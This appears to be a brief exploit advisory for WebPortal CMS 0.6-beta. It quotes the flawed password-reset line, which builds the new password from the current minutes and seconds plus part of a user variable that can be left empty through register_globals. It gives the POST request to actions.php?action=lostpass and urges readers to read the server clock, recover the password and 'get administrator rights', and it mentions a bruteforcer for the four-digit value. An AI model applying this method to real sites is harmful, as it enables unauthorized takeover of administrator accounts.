Let's look the code. ## ## $newpass = date("is").substr($user, 1, 2); # # ## The newpassword is simply the date (minute+seconds) and the var $user taken trought ## register_globals (we can let it empty). ## So look at your clock, recover the password, and get administator rights ! =D ## # # If get the exactly server date is a problem for you, i have coded a little bruteforcer ## (the new password is a 4 number sequence). # # # #================================================= ================================================## Post Request to "Recover Password" : # # # # POST /webportal-0.6-beta/actions.php?action=lostpass user_name=[UserName] ## ##================================================ =================================================# # WebPortal cms is a very bugged platform.
